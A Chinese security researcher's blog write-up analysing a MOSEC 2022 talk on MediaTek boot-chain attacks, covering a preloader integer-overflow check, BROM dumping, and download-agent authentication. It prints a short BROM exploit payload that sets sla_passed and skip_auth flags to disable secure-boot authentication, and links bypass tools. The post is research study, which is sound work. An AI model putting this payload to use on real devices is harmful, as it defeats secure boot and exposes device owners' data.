9

议题学习:MOSEC2022 MediAttack - break the boot chain of MediaTek SoC

 2 years ago
source link: https://o0xmuhe.github.io/2022/11/23/%E8%AE%AE%E9%A2%98%E8%A7%A3%E8%AF%BB-MOSEC2022-MediAttack-break-the-boot-chain-of-MediaTek-SoC/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

前段时间MOSEC上盘古关于MTK BootROM Exploit的议题非常精彩,所以我画了一些时间对议题内容进行分析,并结合手边能找到的一些材料做了逆向分析,也感谢同事@C0ss4ck在会场拍下了完整的Slide :)

配合MOSEC官方的微博食用更佳 :)

image-20221130141500497

MTK Based Boot flow

在进行研究之前需要搞明白MTK方案的设备的冷启动流程,议题中提供的图简洁明了:

按照ARM的标准流程preloader应该是bl2

因为后面使用了preloader的洞把BROM dump出来了,所以我判断MTK的preloader应该是和BROM跑在同一个Exception Level的,即EL3,后来也找了一些资料确认了这个说法,但是不确定现在最新的SoC还是不是这样的。

Preloader部分

出漏洞的模块在preloader的USB Download模式,MTK自定义了一些命令,在这个模式下USB handshake之后可以发送DA,然后加载DA,随后就可以和DA通信读写分区什么的,类似高通的9008(进edl模式后加载FH),当然如果开启了SecurityBoot,公版的DA无法使用,需要对应签名的DA才可以。

根据大佬的议题内容可知,漏洞是一个整数溢出,是在判断读/写命令地址范围的时候出现的:

因为MTK的方案有很多开发板,所以基线代码基本上都很容易找到,比如使用了MT6737的香橙派-4G-IOT这个开发板(好像停产了,现存的巨贵),有个大哥把代码放github了

https://github.com/SoCXin/MT6737/tree/master/linux

根据这份代码,分析这个漏洞其实很简单了

/home/muhe/Code/MT6737/linux/bootloader/preloader/platform/mt6735/src/core/download.c

int usbdl_handler(struct bldr_comport *comport, u32 hshk_tmo_ms)
{
u8 cmd;
u32 cnt = 0;

if (usbdl_check_start_command(comport, hshk_tmo_ms) == FALSE) {
printf("%s start cmd handshake timeout (%dms)\n", MOD, hshk_tmo_ms);
return -1;
}

printf("%s PASS Tool Sync Seq.\n", MOD);

/* if log is disabled, re-init log port and enable it */
if (comport->type == COM_USB && log_status() == 0) {
mtk_uart_init(UART_SRC_CLK_FRQ, CFG_LOG_BAUDRATE);
log_ctrl(1);
}

dlcomport = comport;

while (1) {
platform_wdt_kick();

usbdl_get_byte(&cmd);
if (cmd != CMD_GET_BL_VER)
usbdl_put_byte(cmd); /* echo cmd */

switch (cmd) {
case CMD_GET_BL_VER:
....

}

...

}

支持的命令也很多:

image-20221123142910268

直接定位到 static u32 usbdl_read16(bool legacy)

static u32 usbdl_read16(bool legacy)
{
u32 index;
u32 base_addr=0;
u32 len16=0;
u32 len8=0;
u16 data=0;
u32 status=0;

usbdl_get_dword(&base_addr); // [1]获取地址
usbdl_put_dword(base_addr);

usbdl_get_dword(&len16); // [2] 获取长度
usbdl_put_dword(len16);

/* check addr alignment */
if (0 != (base_addr & (2-1))) {
status = -1;
goto end;
}

/* check len */
if (0 == len16) {
status = -2;
goto end;
}

/* convert half-word(2B) length to byte length */
len8 = (len16 << 1);

/* overflow attack check */
if (len16 >= len8) {
status = -3;
goto end;
}

/* check if addr range is valid */
sec_region_check(base_addr,len8); // [3] 安全检查

if (!legacy) {
/* return status */
usbdl_put_word(status);
}

for (index = 0; index < len16; index++) { // [4] 执行读操作并返回数据
data = *(u16*)(base_addr + (index << 1));
usbdl_put_word(data);
}

end:
if(!legacy) {
/* return status */
usbdl_put_word(status);
}

return status;
}

核心逻辑还是 sec_region_check(base_addr,len8);

void sec_region_check (U32 addr, U32 len)
{
U32 ret = SEC_OK;
U32 tmp = addr + len;

/* check if it does access AHB/APB register */
if ((IO_PHYS != (addr & REGION_MASK)) || (IO_PHYS != (tmp & REGION_MASK))) {
SMSG("[%s] 0x%x Not AHB/APB Address\n", MOD, addr);
ASSERT(0);
}

if (len >= REGION_BANK) {
SMSG("[%s] Overflow\n",MOD);
ASSERT(0);
}

if (blacklist_check(addr, len)) {
SMSG("[%s] Not Allowed\n", MOD);
ASSERT(0);
}

#ifdef MTK_SECURITY_SW_SUPPORT
/* check platform security region */
if (SEC_OK != (ret = seclib_region_check(addr,len))) {
SMSG("[%s] ERR '0x%x' ADDR: 0x%x, LEN: %d\n", MOD, ret, addr, len);
ASSERT(0);
}
#endif
}

这里执行了两个检查:

  1. 判断你要操作的是不是物理外设所在的内存
  2. 判断你要操作的外设是不是在黑名单里,有部分外设不能操作
  3. 这里可能是因为方案不同,大佬PPT里的那个方案是白名单的操作,只允许操作xxx,不过不影响理解。
REGION g_blacklist[] = {
{MSDC0_BASE, 0x10000},
{MSDC1_BASE, 0x10000},
{MSDC2_BASE, 0x10000},
{MSDC3_BASE, 0x10000},
{NFI_BASE, 0x1000},
{NFIECC_BASE, 0x1000},
};

int blacklist_check(U32 addr, U32 len)
{
int ret = 0;
unsigned int i = 0;
unsigned int blacklist_size = sizeof(g_blacklist) / sizeof(REGION);
REGION region;
region.start = (unsigned int)addr;
region.size = (unsigned int)len;

for (i = 0; i < blacklist_size; i++) {
if (is_region_overlap(®ion, &(g_blacklist[i]))) {
ret = -1;
break;
}
}

return ret;
}
unsigned int is_region_overlap(REGION *region1, REGION *region2)
{
unsigned int overlap = 0;

if (region1->start + region1->size <= region2->start)
overlap = 0;
else if (region2->start + region2->size <= region1->start)
overlap = 0;
else
overlap = 1;

return overlap;
}

image-20221123143717115

这里就要祭出datasheet里的memory map

image-20221123143410104

根据memory map,利用这漏洞就可以把BROM dump出来了

BROM部分

MTK的话BROM Exp满天飞,多搜一搜可以找到,或者按照dissecting-a-mediatek-bootrom-exploit中的办法,应该也可以,或者对于没开SecurityBoot的设备搞个mini DA进去也可以(参考这里 https://github.com/MTK-bypass/bypass_utility/blob/master/main.py#L111 )。

这里以某个SoC的BROM为例作分析,推荐使用Ghirda来做,选ARMv7就行。

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
67676 0x1085C Mediatek bootloader
72020 0x11954 SHA256 hash constants, little endian

image-20221130133517456

前面还是喜闻乐见的中断向量表,根据reset handler,能定位到类似main的位置,但是我们的目的是分析usb dl的逻辑,这里我看了下已知的文章,可以通过handshake来确定,直接暴搜一波 A0 0A 50 05,但是这里需要注意,有两个handshake,uart和usb的,需要做好区分,然后就可以定位到 process_cmd() 里了。

然后可以还原出来 相关标志位,如 security boot & SLA & DAA。

不过这显然不是这次的目的,这次是想找到盘古议题中提到的两个BROM的漏洞 :)

议题中的漏洞

vuln1

根据MTK的公告可知和议题内容,这个应该是那个Issue1,即 Endpoint processing vulnerability 的这枚漏洞 :)

我这里根据几个地方来确认函数位置的

  • 少的可怜的两个字符串 [USBDL] 开头的,和timeout相关
  • 根据https://github.com/chaosmaster/bypass_payloads 中,我目前这个方案的一些寄存器、函数地址来确定的,比如可以确定
void (*send_usb_response)(int, int, int) = (void*)******;
int (*(*usbdl_ptr))() = (void*)******;
*(volatile uint32_t *)(usbdl_ptr[0] + 8) = (uint32_t)usbdl_ptr[2];
void (*usbdl_get_data)() = usbdl_ptr[1];
void (*usbdl_put_data)() = usbdl_ptr[2];
void (*usbdl_flush_data)() = usbdl_ptr[3];

image-20221124194300872
  • 议题中漏洞特征

最终让我找到了这个漏洞,和我最开始预想的差不多,处理USB协议相关的逻辑,不过是在标准的流程后面

[TBD]vuln2

说来也比较巧合,rrr拍的图里似乎没有标题为MTK BootROM Vul #2 的slide,所以我目前还没有分析出来,只找到了一些相关的资料辅助分析:

比较有意思的是链接3里面的这份代码,看着很像古早时期的BROM源码 -.-

在usb相关的目录也找到了一些议题中提到的信息,比如CDC、data_ep_in_info,以及议题截图中一些变量命名,基本上都对的上,我猜测这应该是因为这是一种标准实现,所以延用这些命名方便分析,那么找洞的方向就有了:

  • 继续了解USB CDC
  • 找一些标准实现看看,找一些特征+已知的USB相关的一些符号判断出来相关的处理逻辑大概在哪里
  • 结合MTK的公告描述来尝试找这个漏洞(Character-formatting command vulnerability)

看了几个地方还不是很确定- -. 失败

  • SLA (Serial Link Authorization): 未授权是没办法加载DA的
  • DAA (Download agent authentication): 对加载的DA做验证

当然,如果能绕过SLA,加载自定义的DA,那DAA也是可以绕过的

通过SP Flash Tool可以对设备进行读写

  • Download-Agent: 一小段程序,加载到SRAM中和Host交互,类比高通的FH
  • Scatter: 可以理解成flash的内存布局,描述每个分区的情况,如起始地址、大小、属性等
  • Authentication File & Cert File: 开启了SecurityBoot的设备需要提供,用于验证DownloadAgent是否合法

image-20221124195803394

所以,对于开了SecurityBoot的设备,就不能用公版DA了,大佬的议题中也是以开了SecurityBoot的设备为例讲的,通过前面的漏洞disable sla & daa,从而实现加载自定义的DA,然后通过这个DA来读写任意分区,从而实现加载任意代码的目的 :)

Attacking DA

image-20221130231704274

大佬在议题中对MTK的DA做了详细的介绍,这里主要涉及了

  • DA如何被加载
  • DA的执行阶段
    • stage1
    • stage2
  • 如何攻击DA实现任意分区读写

MTK的SP Flash Tool里带的这个公版DA其实是个DA的合集,SP FlashTool根据读到的chip id选对应的DA用来交互

image-20221208231817640
DA stage1

这里提到了一个EMI file,stage1会根据这个EMI file来初始化DRAM,既然可以从preloader里后去,那么前面的基线代码里妥妥也会有了

image-20221208231959205

当然也可以借助工具来解析出来,比如这个 https://github.com/mr-m96/MTKPreloaderParser, 相关内容就不展开了,为了理解议题内容的话,只需要了解这个东西的作用以及在哪里就行了:)

DA stage2

stage2是比较关键的内容了,它被stage1加载到了dram里执行(前面初始化dram这里要用)

image-20221208232056511

这里列举了secure enable的情况,DA的能力将受到限制,即一部分功能无法使用,作者通过之前的BROM exploit disable了daa,然后加载自己patch过的da,从而使用这个patch过的da来实现全分区的读写,以及使用da中全部的功能。

policy_part_map?

这部分感觉PPT顺序有点问题,不过也不是特别影响理解吧,主要是启动过程中对加载的镜像完整性校验相关的介绍,这块和后面大佬讲攻击流程能对上。

github随便搜了下,就能看明白这个东西了 :)

主要是有这么个结构体来描述对应的镜像的安全配置,是否受到保护、能不能刷这个分区等等啥的。

相关的部分代码,这是在加载镜像之前,加载这个policy,然后根据结果去对镜像做对应的操作,比如 是否应该做校验

static char get_sec_policy(unsigned int policy_entry_idx)
{
4unsigned int sboot_state = 0;
4unsigned int lock_state = 0;

4unsigned char sec_policy = 0;
4unsigned int ret = 0;

4ret = get_sec_state(&sboot_state, &lock_state);
4/* this API won't return error, so we don't process it here */

4if (sboot_state == 0 && lock_state == LKS_UNLOCK)
44sec_policy = g_policy_map[policy_entry_idx].sec_sbcdis_unlock_policy;
4else if (sboot_state == 0 && lock_state != LKS_UNLOCK)
44sec_policy = g_policy_map[policy_entry_idx].sec_sbcdis_lock_policy;
4else if (sboot_state == 1 && lock_state == LKS_UNLOCK)
44sec_policy = g_policy_map[policy_entry_idx].sec_sbcen_unlock_policy;
4else if (sboot_state == 1 && lock_state != LKS_UNLOCK)
44sec_policy = g_policy_map[policy_entry_idx].sec_sbcen_lock_policy;

4return sec_policy;
}

BROM EXPLOIT

这里的话,参考dissecting-a-mediatek-bootrom-exploit 的介绍会了解的更清楚,简化一下描述就是:

  • 需要找到需要的函数、全局变量的地址

    • send_usb_response
    • usbdl_put_dword
    • usbdl_put_data
    • usbdl_get_data
    • uart_reg0
    • uart_reg1
    • sla_passed
    • skip_auth_1
    • skip_auth_2
  • exp工作流程参考 common exp,类似议题中的Vuln1

    image-20221130140148909

当然,所需要覆盖的变量也比较好找,把cmd是 0xd8CMD_GET_TARGET_CONFIG为入口就可以找到需要的东西了

common exp

直接参考 common exp,就行,利用漏洞获得的任意地址读写能力去覆盖

  • sla_passed
  • skip_auth_1
  • skip_auth_2

这三个变量,然后就可以加载任意da,并且禁用了daa

start.S 直接跳main函数,里面逻辑也很简单,覆盖变量,然后接收下个阶段的交互(usb handshake),方便后续加载DA啥的,交互完毕,就正常进入usbdl模式去了

int main() {
send_usb_response(1,0,1);

print("Sending pattern\n");
usbdl_put_dword(0xA1A2A3A4);

*sla_passed = 1;
*skip_auth_1 = 1;
*skip_auth_2 = -1;

print("Waiting for handshake\n");

const char sequence[] = {0xA0, 0x0A, 0x50, 0x05};
unsigned char hs = 0;

for (uint32_t i = 0; i < 4; i++, hs = 0) {
usbdl_get_data(&hs, 1);

if (sequence[i] == hs) {
hs = ~hs;
usbdl_put_data(&hs, 1);
} else {
i = 0;
print("Handshake failed\n");
}

print("Handshake..\n");
}

print("Handshake completed\n");
}

MTE mode

这个模式看描述是MTK的一个特殊的测试模式,也算是一个之前没见过的攻击面

在这个模式下,可以做很多事情:

  • Obtain/Modify EFUSE/RPMB Info
  • Load Customized OS
  • USERDATA Decrypt
  • Obtain/Modify Hardware Key
  • Unlock Bootloader

巧了,咱手里正好有个某个MTK方案的设备的完整镜像 :-) 根据PPT中的信息,可以check下相关的逻辑

我这个设备没有找到相关的逻辑,应该是删除了这个模式,不过幸运的是 meta_tst 没有删除:),而且根据PPT里的内容,这个服务应该是比较核心的,MTK设计了私有协议做一些交互

image-20221124212759107

分析的难度也不大,而且有趣的是如果你在github上搜一些特定的字符串,会发现很多有意思的repo :) 这对理解一些逻辑很有帮助

image-20221124221704268

more exploit

image-20221208232231058

这没什么可说的,既然从源头破坏掉了信任链,那么自然可以做任何事 ?

基本上一些很成熟的“取证”工具都能干- 。- 比如这一篇

support-for-mediatek-devices-in-oxygen-forensic-detective

感兴趣的话可以阅读一下

这次虽然过程艰辛又带着一些遗憾,不过个人起码了解了MTK方案BROM Exploit的思路,vuln#2还没找到,后面等不忙了时间多了再尝试看看好了 :)

https://github.com/SoCXin/MT6737/tree/master/linux

https://github.com/chaosmaster/bypass_payloads

https://tinyhack.com/2021/01/31/dissecting-a-mediatek-bootrom-exploit/

https://www.cnblogs.com/wen123456/p/14034493.html

https://blog.csdn.net/u011784994/article/details/104898430

https://github.com/rn2/ven/blob/db95d7f096/hardware/meta/common/README

https://blog.oxygen-forensic.com/support-for-mediatek-devices-in-oxygen-forensic-detective/

</div


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK